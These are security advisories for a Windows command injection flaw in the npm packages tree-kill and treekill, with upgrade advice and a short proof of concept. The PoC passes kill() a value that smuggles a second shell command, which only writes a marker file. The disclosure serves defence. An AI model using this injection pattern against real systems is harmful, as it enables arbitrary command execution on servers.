Command Injection in tree-kill
Versions of tree-kill prior to 1.2.2 are vulnerable to Command Injection. The package fails to sanitize values passed to the kill function. If this value is user-controlled it may allow attackers to run arbitrary commands in the server. The issue only affects Windows systems.
Upgrade to version 1.2.2 or later.
Treekill Enables OS Command Injection
A Code Injection exists in treekill and tree-kill on Windows which allows a remote code execution when an attacker is able to control the input into the command.
Create the following PoC file:
var kill = require('treekill');
kill('3333332 & echo "HACKED" > HACKED.txt & ');
Execute the following commands in terminal:
npm i treekill # Install affected module
dir # Check *HACKED.txt* doesn't exist
node poc.js # Run the PoC
dir # Now *HACKED.txt* exists :)
The HACKED.txt has been created
